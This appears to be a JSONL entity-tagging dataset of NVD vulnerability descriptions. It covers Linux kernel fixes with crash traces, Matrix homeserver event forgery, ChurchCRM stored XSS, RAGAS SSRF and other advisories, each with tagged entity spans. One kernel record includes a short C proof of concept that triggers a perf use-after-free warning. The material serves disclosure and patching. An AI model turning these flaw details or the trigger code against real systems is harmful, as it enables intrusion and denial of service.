drm_stub_open+0xd4/0xe4\n          chrdev_open+0x1b8/0x1e4\n          do_dentry_open+0x2f8/0x38c\n          vfs_open+0x34/0x40\n          path_openat+0x64c/0x7b4\n          do_filp_open+0x54/0xc4\n          do_sys_openat2+0x9c/0x100\n          do_sys_open+0x50/0x7c\n          __arm64_sys_openat+0x28/0x34\n          invoke_syscall+0x8c/0x128\n          el0_svc_common.constprop.0+0xa0/0x11c\n          do_el0_\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54013"}}
{"text": "Conduit is a chat server powered by Matrix. A vulnerability that affects a number of Conduit-derived homeservers allows a remote, unauthenticated attacker to force the target server to cryptographically sign arbitrary membership events. Affected products include Conduit prior to version 0.10.10, continuwuity prior to version 0.5.0, Grapevine prior to commit `9a50c244`, and tuwunel prior to version 1.4.8. The flaw exists because the server fails to validate the origin of a signing request, provided the event's state_key is a valid user ID belonging to the target server. Attackers can forge \"leave\" events for any user on the target server. This forcibly removes users (including admins and bots) from rooms. This allows denial of service and/or the removal of technical protections for a room (including policy servers, if all users on the policy server are removed). Attackers can forge \"invite\" events from a victim user to themselves, provided they have an account on a server where there is an account that has the power level to send invites. This allows the attacker to join private or invite-only rooms accessible by the victim, exposing confidential conversation history and room state. Attackers can forge \"ban\" events from a victim user to any user below the victim user's power level, provided the victim has the power level to issue bans AND the target of the ban resides on the same server as the victim. This allows the attacker to ban anyone in a room who is on the same server as the vulnerable one, however cannot exploit this to ban users on other servers or the victim themself. Conduit fixes the issue in version 0.10.10. continuwuity fixes the issue in commits `7fa4fa98` and `b2bead67`, released in 0.5.0. tuwunel fixes the issue in commit `dc9314de1f8a6e040c5aa331fe52efbe62e6a2c3`, released in 1.4.8. Grapevine fixes the issue in commit `9a50c2448abba6e2b7d79c64243bb438b351616c`. As a workaround, block access to the `PUT /_matrix/federation/v2/invite/{roomId}/{eventId}` endpoint using your reverse proxy.", "spans": {"HASH: dc9314de1f8a6e040c5aa331fe52efbe62e6a2c3": [[1769, 1809]], "HASH: 9a50c2448abba6e2b7d79c64243bb438b351616c": [[1868, 1908]], "FILEPATH: /_matrix/federation/v2/invite": [[1953, 1982]], "VULNERABILITY: denial of service": [[726, 743]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68667"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw89: 8852a: rfk: fix div 0 exception\n\nThe DPK is a kind of RF calibration whose algorithm is to fine tune\nparameters and calibrate, and check the result. If the result isn't good\nenough, it could adjust parameters and try again.\n\nThis issue is to read and show the result, but it could be a negative\ncalibration result that causes divisor 0 and core dump. So, fix it by\nphy_div() that does division only if divisor isn't zero; otherwise,\nzero is adopted.\n\n  divide error: 0000 [#1] PREEMPT SMP NOPTI\n  CPU: 1 PID: 728 Comm: wpa_supplicant Not tainted 5.10.114-16019-g462a1661811a #1 <HASH:d024 28>\n  RIP: 0010:rtw8852a_dpk+0x14ae/0x288f [rtw89_core]\n  RSP: 0018:ffffa9bb412a7520 EFLAGS: 00010246\n  RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000\n  RDX: 0000000000000000 RSI: 00000000000180fc RDI: ffffa141d01023c0\n  RBP: ffffa9bb412a76a0 R08: 0000000000001319 R09: 00000000ffffff92\n  R10: ffffffffc0292de3 R11: ffffffffc00d2f51 R12: 0000000000000000\n  R13: ffffa141d01023c0 R14: ffffffffc0290250 R15: ffffa141d0102638\n  FS:  00007fa99f5c2740(0000) GS:ffffa142e5e80000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 0000000013e8e010 CR3: 0000000110d2c000 CR4: 0000000000750ee0\n  PKRU: 55555554\n  Call Trace:\n   rtw89_core_sta_add+0x95/0x9c [rtw89_core <HASH:d239 29>]\n   rtw89_ops_sta_state+0x5d/0x108 [rtw89_core <HASH:d239 29>]\n   drv_sta_state+0x115/0x66f [mac80211 <HASH:81fe 30>]\n   sta_info_insert_rcu+0x45c/0x713 [mac80211 <HASH:81fe 30>]\n   sta_info_insert+0xf/0x1b [mac80211 <HASH:81fe 30>]\n   ieee80211_prep_connection+0x9d6/0xb0c [mac80211 <HASH:81fe 30>]\n   ieee80211_mgd_auth+0x2aa/0x352 [mac80211 <HASH:81fe 30>]\n   cfg80211_mlme_auth+0x160/0x1f6 [cfg80211 <HASH:00cd 31>]\n   nl80211_authenticate+0x2e5/0x306 [cfg80211 <HASH:00cd 31>]\n   genl_rcv_msg+0x371/0x3a1\n   ? nl80211_stop_sched_scan+0xe5/0xe5 [cfg80211 <HASH:00cd 31>]\n   ? genl_rcv+0x36/0x36\n   netlink_rcv_skb+0x8a/0xf9\n   genl_rcv+0x28/0x36\n   netlink_unicast+0x27b/0x3a0\n   netlink_sendmsg+0x2aa/0x469\n   sock_sendmsg_nosec+0x49/0x4d\n   ____sys_sendmsg+0xe5/0x213\n   __sys_sendmsg+0xec/0x157\n   ? syscall_enter_from_user_mode+0xd7/0x116\n   do_syscall_64+0x43/0x55\n   entry_SYSCALL_64_after_hwframe+0x44/0xa9\n  RIP: 0033:0x7fa99f6e689b", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50178"}}
{"text": "ChurchCRM is an open-source church management system. Prior to 7.0.0, a stored cross-site scripting (XSS) vulnerability exists in ChurchCRM within the Person Property Management subsystem. This issue persists in versions patched for CVE-2023-38766 and allows an authenticated user to inject arbitrary JavaScript code via dynamically assigned person properties. The malicious payload is persistently stored and executed when other users view the affected person profile or access the printable view, potentially leading to session hijacking or full account compromise. This vulnerability is fixed in 7.0.0.", "spans": {"CVE_ID: CVE-2023-38766": [[233, 247]], "VULNERABILITY: cross-site scripting": [[79, 99]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35576"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu: Protect ->defer_qs_iw_pending from data race\n\nOn kernels built with CONFIG_IRQ_WORK=y, when rcu_read_unlock() is\ninvoked within an interrupts-disabled region of code [1], it will invoke\nrcu_read_unlock_special(), which uses an irq-work handler to force the\nsystem to notice when the RCU read-side critical section actually ends.\nThat end won't happen until interrupts are enabled at the soonest.\n\nIn some kernels, such as those booted with rcutree.use_softirq=y, the\nirq-work handler is used unconditionally.\n\nThe per-CPU rcu_data structure's ->defer_qs_iw_pending field is\nupdated by the irq-work handler and is both read and updated by\nrcu_read_unlock_special().  This resulted in the following KCSAN splat:\n\n------------------------------------------------------------------------\n\nBUG: KCSAN: data-race in rcu_preempt_deferred_qs_handler / rcu_read_unlock_special\n\nread to 0xffff96b95f42d8d8 of 1 bytes by task 90 on cpu 8:\n rcu_read_unlock_special+0x175/0x260\n __rcu_read_unlock+0x92/0xa0\n rt_spin_unlock+0x9b/0xc0\n __local_bh_enable+0x10d/0x170\n __local_bh_enable_ip+0xfb/0x150\n rcu_do_batch+0x595/0xc40\n rcu_cpu_kthread+0x4e9/0x830\n smpboot_thread_fn+0x24d/0x3b0\n kthread+0x3bd/0x410\n ret_from_fork+0x35/0x40\n ret_from_fork_asm+0x1a/0x30\n\nwrite to 0xffff96b95f42d8d8 of 1 bytes by task 88 on cpu 8:\n rcu_preempt_deferred_qs_handler+0x1e/0x30\n irq_work_single+0xaf/0x160\n run_irq_workd+0x91/0xc0\n smpboot_thread_fn+0x24d/0x3b0\n kthread+0x3bd/0x410\n ret_from_fork+0x35/0x40\n ret_from_fork_asm+0x1a/0x30\n\nno locks held by irq_work/8/88.\nirq event stamp: 200272\nhardirqs last  enabled at (200272): [<ffffffffb0f56121>] finish_task_switch+0x131/0x320\nhardirqs last disabled at (200271): [<ffffffffb25c7859>] __schedule+0x129/0xd70\nsoftirqs last  enabled at (0): [<ffffffffb0ee093f>] copy_process+0x4df/0x1cc0\nsoftirqs last disabled at (0): [<0000000000000000>] 0x0\n\n------------------------------------------------------------------------\n\nThe problem is that irq-work handlers run with interrupts enabled, which\nmeans that rcu_preempt_deferred_qs_handler() could be interrupted,\nand that interrupt handler might contain an RCU read-side critical\nsection, which might invoke rcu_read_unlock_special().  In the strict\nKCSAN mode of operation used by RCU, this constitutes a data race on\nthe ->defer_qs_iw_pending field.\n\nThis commit therefore disables interrupts across the portion of the\nrcu_preempt_deferred_qs_handler() that updates the ->defer_qs_iw_pending\nfield.  This suffices because this handler is not a fast path.", "spans": {"FILEPATH: /8/88.": [[1608, 1614]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39749"}}
{"text": "Due to an improper check for unusual or exceptional conditions in Juniper Networks Junos OS and Junos OS Evolved the Routing Protocol Daemon (RPD) service, upon receipt of a specific matching BGP packet meeting a specific term in the flowspec configuration, crashes and restarts causing a Denial of Service (DoS). Continued receipt and processing of this packet will create a sustained Denial of Service (DoS) condition. This issue affects only Multiprotocol BGP (MP-BGP) VPNv6 FlowSpec deployments. This issue affects: Juniper Networks Junos OS: 18.4 versions prior to 18.4R1-S8, 18.4R2-S7, 18.4R3-S7; 19.1 versions prior to 19.1R2-S2, 19.1R3-S4; 19.2 versions prior to 19.2R1-S6, 19.2R3-S2; 19.3 versions prior to 19.3R3-S2; 19.4 versions prior to 19.4R2-S4, 19.4R3-S1; 20.1 versions prior to 20.1R2, 20.1R3; 20.2 versions prior to 20.2R2, 20.2R3; 20.3 versions prior to 20.3R1-S1, 20.3R2. Juniper Networks Junos OS Evolved: All versions after 18.4R1-EVO prior to 20.3R2-EVO. This issue does not affect: Juniper Networks Junos OS versions prior to 18.4R1. Juniper Networks Junos OS Evolved versions prior to 18.4R1-EVO.", "spans": {"ORGANIZATION: Juniper": [[66, 73], [520, 527], [892, 899], [1006, 1013], [1058, 1065]], "VULNERABILITY: Denial of Service": [[289, 306], [386, 403]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0236"}}
{"text": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", "spans": {"CVE_ID: CVE-2025-45691": [[497, 511]], "FILEPATH: /ragas/metrics/collections/multi_modal_faithfulness/util.py": [[165, 224]], "VULNERABILITY: server-side request forgery": [[334, 361]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-6587"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nIB/ipoib: Fix mcast list locking\n\nReleasing the `priv->lock` while iterating the `priv->multicast_list` in\n`ipoib_mcast_join_task()` opens a window for `ipoib_mcast_dev_flush()` to\nremove the items while in the middle of iteration. If the mcast is removed\nwhile the lock was dropped, the for loop spins forever resulting in a hard\nlockup (as was reported on RHEL 4.18.0-372.75.1.el8_6 kernel):\n\n    Task A (kworker/u72:2 below)       | Task B (kworker/u72:0 below)\n    -----------------------------------+-----------------------------------\n    ipoib_mcast_join_task(work)        | ipoib_ib_dev_flush_light(work)\n      spin_lock_irq(&priv->lock)       | __ipoib_ib_dev_flush(priv, ...)\n      list_for_each_entry(mcast,       | ipoib_mcast_dev_flush(dev = priv->dev)\n          &priv->multicast_list, list) |\n        ipoib_mcast_join(dev, mcast)   |\n          spin_unlock_irq(&priv->lock) |\n                                       |   spin_lock_irqsave(&priv->lock, flags)\n                                       |   list_for_each_entry_safe(mcast, tmcast,\n                                       |                  &priv->multicast_list, list)\n                                       |     list_del(&mcast->list);\n                                       |     list_add_tail(&mcast->list, &remove_list)\n                                       |   spin_unlock_irqrestore(&priv->lock, flags)\n          spin_lock_irq(&priv->lock)   |\n                                       |   ipoib_mcast_remove_list(&remove_list)\n   (Here, `mcast` is no longer on the  |     list_for_each_entry_safe(mcast, tmcast,\n    `priv->multicast_list` and we keep |                            remove_list, list)\n    spinning on the `remove_list` of   |  >>>  wait_for_completion(&mcast->done)\n    the other thread which is blocked  |\n    and the list is still valid on     |\n    it's stack.)\n\nFix this by keeping the lock held and changing to GFP_ATOMIC to prevent\neventual sleeps.\nUnfortunately we could not reproduce the lockup and confirm this fix but\nbased on the code review I think this fix should address such lockups.\n\ncrash> bc 31\nPID: 747      TASK: ff1c6a1a007e8000  CPU: 31   COMMAND: \"kworker/u72:2\"\n--\n    [exception RIP: ipoib_mcast_join_task+0x1b1]\n    RIP: ffffffffc0944ac1  RSP: ff646f199a8c7e00  RFLAGS: 00000002\n    RAX: 0000000000000000  RBX: ff1c6a1a04dc82f8  RCX: 0000000000000000\n                                  work (&priv->mcast_task{,.work})\n    RDX: ff1c6a192d60ac68  RSI: 0000000000000286  RDI: ff1c6a1a04dc8000\n           &mcast->list\n    RBP: ff646f199a8c7e90   R8: ff1c699980019420   R9: ff1c6a1920c9a000\n    R10: ff646f199a8c7e00  R11: ff1c6a191a7d9800  R12: ff1c6a192d60ac00\n                                                         mcast\n    R13: ff1c6a1d82200000  R14: ff1c6a1a04dc8000  R15: ff1c6a1a04dc82d8\n           dev                    priv (&priv->lock)     &priv->multicast_list (aka head)\n    ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018\n--- <NMI exception stack> ---\n #5 [ff646f199a8c7e00] ipoib_mcast_join_task+0x1b1 at ffffffffc0944ac1 [ib_ipoib]\n #6 [ff646f199a8c7e98] process_one_work+0x1a7 at ffffffff9bf10967\n\ncrash> rx ff646f199a8c7e68\nff646f199a8c7e68:  ff1c6a1a04dc82f8 <<< work = &priv->mcast_task.work\n\ncrash> list -hO ipoib_dev_priv.multicast_list ff1c6a1a04dc8000\n(empty)\n\ncrash> ipoib_dev_priv.mcast_task.work.func,mcast_mutex.owner.counter ff1c6a1a04dc8000\n  mcast_task.work.func = 0xffffffffc0944910 <ipoib_mcast_join_task>,\n  mcast_mutex.owner.counter = 0xff1c69998efec000\n\ncrash> b 8\nPID: 8        TASK: ff1c69998efec000  CPU: 33   COMMAND: \"kworker/u72:0\"\n--\n #3 [ff646f1980153d50] wait_for_completion+0x96 at ffffffff9c7d7646\n #4 [ff646f1980153d90] ipoib_mcast_remove_list+0x56 at ffffffffc0944dc6 [ib_ipoib]\n #5 [ff646f1980153de8] ipoib_mcast_dev_flush+0x1a7 at ffffffffc09455a7 [ib_ipoib]\n #6 [ff646f1980153e58] __ipoib_ib_dev_flush+0x1a4 at ffffffffc09431a4 [ib_ipoib]\n #7 [ff\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52587"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: Fix refcount warning on event->mmap_count increment\n\nWhen calling refcount_inc(&event->mmap_count) inside perf_mmap_rb(), the\nfollowing warning is triggered:\n\n        refcount_t: addition on 0; use-after-free.\n        WARNING: lib/refcount.c:25\n\nPoC:\n\n    struct perf_event_attr attr = {0};\n    int fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0);\n    mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);\n    int victim = syscall(__NR_perf_event_open, &attr, 0, -1, fd,\n                         PERF_FLAG_FD_OUTPUT);\n    mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED, victim, 0);\n\nThis occurs when creating a group member event with the flag\nPERF_FLAG_FD_OUTPUT. The group leader should be mmap-ed and then mmap-ing\nthe event triggers the warning.\n\nSince the event has copied the output_event in perf_event_set_output(),\nevent->rb is set. As a result, perf_mmap_rb() calls\nrefcount_inc(&event->mmap_count) when event->mmap_count = 0.\n\nDisallow the case when event->mmap_count = 0. This also prevents two\nevents from updating the same user_page.", "spans": {"FILEPATH: refcount.c": [[306, 316]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[269, 283]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23127"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: Reset connection when trying to use SMCRv2 fails.\n\nWe found a crash when using SMCRv2 with 2 Mellanox ConnectX-4. It\ncan be reproduced by:\n\n- smc_run nginx\n- smc_run wrk -t 32 -c 500 -d 30 http://<ip>:<port>\n\n BUG: kernel NULL pointer dereference, address: 0000000000000014\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n PGD 8000000108713067 P4D 8000000108713067 PUD 151127067 PMD 0\n Oops: 0000 [#1] PREEMPT SMP PTI\n CPU: 4 PID: 2441 Comm: kworker/4:249 Kdump: loaded Tainted: G        W   E      6.4.0-rc1+ #42\n Workqueue: smc_hs_wq smc_listen_work [smc]\n RIP: 0010:smc_clc_send_confirm_accept+0x284/0x580 [smc]\n RSP: 0018:ffffb8294b2d7c78 EFLAGS: 00010a06\n RAX: ffff8f1873238880 RBX: ffffb8294b2d7dc8 RCX: 0000000000000000\n RDX: 00000000000000b4 RSI: 0000000000000001 RDI: 0000000000b40c00\n RBP: ffffb8294b2d7db8 R08: ffff8f1815c5860c R09: 0000000000000000\n R10: 0000000000000400 R11: 0000000000000000 R12: ffff8f1846f56180\n R13: ffff8f1815c5860c R14: 0000000000000001 R15: 0000000000000001\n FS:  0000000000000000(0000) GS:ffff8f1aefd00000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000000000000014 CR3: 00000001027a0001 CR4: 00000000003706e0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n Call Trace:\n  <TASK>\n  ? mlx5_ib_map_mr_sg+0xa1/0xd0 [mlx5_ib]\n  ? smcr_buf_map_link+0x24b/0x290 [smc]\n  ? __smc_buf_create+0x4ee/0x9b0 [smc]\n  smc_clc_send_accept+0x4c/0xb0 [smc]\n  smc_listen_work+0x346/0x650 [smc]\n  ? __schedule+0x279/0x820\n  process_one_work+0x1e5/0x3f0\n  worker_thread+0x4d/0x2f0\n  ? __pfx_worker_thread+0x10/0x10\n  kthread+0xe5/0x120\n  ? __pfx_kthread+0x10/0x10\n  ret_from_fork+0x2c/0x50\n  </TASK>\n\nDuring the CLC handshake, server sequentially tries available SMCRv2\nand SMCRv1 devices in smc_listen_work().\n\nIf an SMCRv2 device is found. SMCv2 based link group and link will be\nassigned to the connection. Then assumed that some buffer assignment\nerrors happen later in the CLC handshake, such as RMB registration\nfailure, server will give up SMCRv2 and try SMCRv1 device instead. But\nthe resources assigned to the connection won't be reset.\n\nWhen server tries SMCRv1 device, the connection creation process will\nbe executed again. Since conn->lnk has been assigned when trying SMCRv2,\nit will not be set to the correct SMCRv1 link in\nsmcr_lgr_conn_assign_link(). So in such situation, conn->lgr points to\ncorrect SMCRv1 link group but conn->lnk points to the SMCRv2 link\nmistakenly.\n\nThen in smc_clc_send_confirm_accept(), conn->rmb_desc->mr[link->link_idx]\nwill be accessed. Since the link->link_idx is not correct, the related\nMR may not have been initialized, so crash happens.\n\n | Try SMCRv2 device first\n |     |-> conn->lgr:\tassign existed SMCRv2 link group;\n |     |-> conn->link:\tassign existed SMCRv2 link (link_idx may be 1 in SMC_LGR_SYMMETRIC);\n |     |-> sndbuf & RMB creation fails, quit;\n |\n | Try SMCRv1 device then\n |     |-> conn->lgr:\tcreate SMCRv1 link group and assign;\n |     |-> conn->link:\tkeep SMCRv2 link mistakenly;\n |     |-> sndbuf & RMB creation succeed, only RMB->mr[link_idx = 0]\n |         initialized.\n |\n | Then smc_clc_send_confirm_accept() accesses\n | conn->rmb_desc->mr[conn->link->link_idx, which is 1], then crash.\n v\n\nThis patch tries to fix this by cleaning conn->lnk before assigning\nlink. In addition, it is better to reset the connection and clean the\nresources assigned if trying SMCRv2 failed in buffer creation or\nregistration.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: nginx": [[228, 233]], "VULNERABILITY: NULL pointer dereference": [[300, 324]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53382"}}
{"text": "Nextcloud is an open-source, self-hosted productivity platform. Prior to versions 20.0.13, 21.0.5, and 22.2.0, Nextcloud Server did not implement a database backend for rate-limiting purposes. Any component of Nextcloud using rate-limits (as as `AnonRateThrottle` or `UserRateThrottle`) was thus not rate limited on instances not having a memory cache backend configured. In the case of a default installation, this would notably include the rate-limits on the two factor codes. It is recommended that the Nextcloud Server be upgraded to 20.0.13, 21.0.5, or 22.2.0. As a workaround, enable a memory cache backend in `config.php`.", "spans": {"FILEPATH: config.php": [[617, 627]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41177"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nMIPS: cpuinfo: Fix a warning for CONFIG_CPUMASK_OFFSTACK\n\nWhen CONFIG_CPUMASK_OFFSTACK and CONFIG_DEBUG_PER_CPU_MAPS is selected,\ncpu_max_bits_warn() generates a runtime warning similar as below while\nwe show /proc/cpuinfo. Fix this by using nr_cpu_ids (the runtime limit)\ninstead of NR_CPUS to iterate CPUs.\n\n[    3.052463] ------------[ cut here ]------------\n[    3.059679] WARNING: CPU: 3 PID: 1 at include/linux/cpumask.h:108 show_cpuinfo+0x5e8/0x5f0\n[    3.070072] Modules linked in: efivarfs autofs4\n[    3.076257] CPU: 0 PID: 1 Comm: systemd Not tainted 5.19-rc5+ #1052\n[    3.084034] Hardware name: Loongson Loongson-3A4000-7A1000-1w-V0.1-CRB/Loongson-LS3A4000-7A1000-1w-EVB-V1.21, BIOS Loongson-UDK2018-V2.0.04082-beta7 04/27\n[    3.099465] Stack : 9000000100157b08 9000000000f18530 9000000000cf846c 9000000100154000\n[    3.109127]         9000000100157a50 0000000000000000 9000000100157a58 9000000000ef7430\n[    3.118774]         90000001001578e8 0000000000000040 0000000000000020 ffffffffffffffff\n[    3.128412]         0000000000aaaaaa 1ab25f00eec96a37 900000010021de80 900000000101c890\n[    3.138056]         0000000000000000 0000000000000000 0000000000000000 0000000000aaaaaa\n[    3.147711]         ffff8000339dc220 0000000000000001 0000000006ab4000 0000000000000000\n[    3.157364]         900000000101c998 0000000000000004 9000000000ef7430 0000000000000000\n[    3.167012]         0000000000000009 000000000000006c 0000000000000000 0000000000000000\n[    3.176641]         9000000000d3de08 9000000001639390 90000000002086d8 00007ffff0080286\n[    3.186260]         00000000000000b0 0000000000000004 0000000000000000 0000000000071c1c\n[    3.195868]         ...\n[    3.199917] Call Trace:\n[    3.203941] [<98000000002086d8>] show_stack+0x38/0x14c\n[    3.210666] [<9800000000cf846c>] dump_stack_lvl+0x60/0x88\n[    3.217625] [<980000000023d268>] __warn+0xd0/0x100\n[    3.223958] [<9800000000cf3c90>] warn_slowpath_fmt+0x7c/0xcc\n[    3.231150] [<9800000000210220>] show_cpuinfo+0x5e8/0x5f0\n[    3.238080] [<98000000004f578c>] seq_read_iter+0x354/0x4b4\n[    3.245098] [<98000000004c2e90>] new_sync_read+0x17c/0x1c4\n[    3.252114] [<98000000004c5174>] vfs_read+0x138/0x1d0\n[    3.258694] [<98000000004c55f8>] ksys_read+0x70/0x100\n[    3.265265] [<9800000000cfde9c>] do_syscall+0x7c/0x94\n[    3.271820] [<9800000000202fe4>] handle_syscall+0xc4/0x160\n[    3.281824] ---[ end trace 8b484262b4b8c24c ]---", "spans": {"FILEPATH: /proc/cpuinfo.": [[278, 292]], "FILEPATH: /linux/cpumask.h": [[479, 495]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[611, 618]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50210"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, lockdown, audit: Fix buggy SELinux lockdown permission checks\n\nCommit 59438b46471a (\"security,lockdown,selinux: implement SELinux lockdown\")\nadded an implementation of the locked_down LSM hook to SELinux, with the aim\nto restrict which domains are allowed to perform operations that would breach\nlockdown. This is indirectly also getting audit subsystem involved to report\nevents. The latter is problematic, as reported by Ondrej and Serhei, since it\ncan bring down the whole system via audit:\n\n  1) The audit events that are triggered due to calls to security_locked_down()\n     can OOM kill a machine, see below details [0].\n\n  2) It also seems to be causing a deadlock via avc_has_perm()/slow_avc_audit()\n     when trying to wake up kauditd, for example, when using trace_sched_switch()\n     tracepoint, see details in [1]. Triggering this was not via some hypothetical\n     corner case, but with existing tools like runqlat & runqslower from bcc, for\n     example, which make use of this tracepoint. Rough call sequence goes like:\n\n     rq_lock(rq) -> -------------------------+\n       trace_sched_switch() ->               |\n         bpf_prog_xyz() ->                   +-> deadlock\n           selinux_lockdown() ->             |\n             audit_log_end() ->              |\n               wake_up_interruptible() ->    |\n                 try_to_wake_up() ->         |\n                   rq_lock(rq) --------------+\n\nWhat's worse is that the intention of 59438b46471a to further restrict lockdown\nsettings for specific applications in respect to the global lockdown policy is\ncompletely broken for BPF. The SELinux policy rule for the current lockdown check\nlooks something like this:\n\n  allow <who> <who> : lockdown { <reason> };\n\nHowever, this doesn't match with the 'current' task where the security_locked_down()\nis executed, example: httpd does a syscall. There is a tracing program attached\nto the syscall which triggers a BPF program to run, which ends up doing a\nbpf_probe_read_kernel{,_str}() helper call. The selinux_lockdown() hook does\nthe permission check against 'current', that is, httpd in this example. httpd\nhas literally zero relation to this tracing program, and it would be nonsensical\nhaving to write an SELinux policy rule against httpd to let the tracing helper\npass. The policy in this case needs to be against the entity that is installing\nthe BPF program. For example, if bpftrace would generate a histogram of syscall\ncounts by user space application:\n\n  bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'\n\nbpftrace would then go and generate a BPF program from this internally. One way\nof doing it [for the sake of the example] could be to call bpf_get_current_task()\nhelper and then access current->comm via one of bpf_probe_read_kernel{,_str}()\nhelpers. So the program itself has nothing to do with httpd or any other random\napp doing a syscall here. The BPF program _explicitly initiated_ the lockdown\ncheck. The allow/deny policy belongs in the context of bpftrace: meaning, you\nwant to grant bpftrace access to use these helpers, but other tracers on the\nsystem like my_random_tracer _not_.\n\nTherefore fix all three issues at the same time by taking a completely different\napproach for the security_locked_down() hook, that is, move the check into the\nprogram verification phase where we actually retrieve the BPF func proto. This\nalso reliably gets the task (current) that is trying to install the BPF tracing\nprogram, e.g. bpftrace/bcc/perf/systemtap/etc, and it also fixes the OOM since\nwe're moving this out of the BPF helper's fast-path which can be called several\nmillions of times per second.\n\nThe check is then also in line with other security_locked_down() hooks in the\nsystem where the enforcement is performed at open/load time, for example,\nopen_kcore() for /proc/kcore access or module_sig_check() for module signatures\njust to pick f\n---truncated---", "spans": {"FILEPATH: /bcc/perf/systemtap/etc": [[3568, 3591]], "FILEPATH: /proc/kcore": [[3905, 3916]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47128"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nkvm: avoid speculation-based attacks from out-of-range memslot accesses\n\nKVM's mechanism for accessing guest memory translates a guest physical\naddress (gpa) to a host virtual address using the right-shifted gpa\n(also known as gfn) and a struct kvm_memory_slot.  The translation is\nperformed in __gfn_to_hva_memslot using the following formula:\n\n      hva = slot->userspace_addr + (gfn - slot->base_gfn) * PAGE_SIZE\n\nIt is expected that gfn falls within the boundaries of the guest's\nphysical memory.  However, a guest can access invalid physical addresses\nin such a way that the gfn is invalid.\n\n__gfn_to_hva_memslot is called from kvm_vcpu_gfn_to_hva_prot, which first\nretrieves a memslot through __gfn_to_memslot.  While __gfn_to_memslot\ndoes check that the gfn falls within the boundaries of the guest's\nphysical memory or not, a CPU can speculate the result of the check and\ncontinue execution speculatively using an illegal gfn. The speculation\ncan result in calculating an out-of-bounds hva.  If the resulting host\nvirtual address is used to load another guest physical address, this\nis effectively a Spectre gadget consisting of two consecutive reads,\nthe second of which is data dependent on the first.\n\nRight now it's not clear if there are any cases in which this is\nexploitable.  One interesting case was reported by the original author\nof this patch, and involves visiting guest page tables on x86.  Right\nnow these are not vulnerable because the hva read goes through get_user(),\nwhich contains an LFENCE speculation barrier.  However, there are\npatches in progress for x86 uaccess.h to mask kernel addresses instead of\nusing LFENCE; once these land, a guest could use speculation to read\nfrom the VMM's ring 3 address space.  Other architectures such as ARM\nalready use the address masking method, and would be susceptible to\nthis same kind of data-dependent access gadgets.  Therefore, this patch\nproactively protects from these attacks by masking out-of-bounds gfns\nin __gfn_to_hva_memslot, which blocks speculation of invalid hvas.\n\nSean Christopherson noted that this patch does not cover\nkvm_read_guest_offset_cached.  This however is limited to a few bytes\npast the end of the cache, and therefore it is unlikely to be useful in\nthe context of building a chain of data dependent accesses.", "spans": {"FILEPATH: uaccess.h": [[1657, 1666]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[142, 145]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47277"}}
{"text": "DiceBear is an avatar library for designers and developers. Prior to version 9.4.0, the `ensureSize()` function in `@dicebear/converter` read the `width` and `height` attributes from the input SVG to determine the output canvas size for rasterization (PNG, JPEG, WebP, AVIF). An attacker who can supply a crafted SVG with extremely large dimensions (e.g. `width=\"999999999\"`) could force the server to allocate excessive memory, leading to denial of service. This primarily affects server-side applications that pass untrusted or user-supplied SVGs to the converter's `toPng()`, `toJpeg()`, `toWebp()`, or `toAvif()` functions. Applications that only convert self-generated DiceBear avatars are not practically exploitable, but are still recommended to upgrade. This is fixed in version 9.4.0. The `ensureSize()` function no longer reads SVG attributes to determine output size. Instead, a new `size` option (default: 512, max: 2048) controls the output dimensions. Invalid values (NaN, negative, zero, Infinity) fall back to the default. 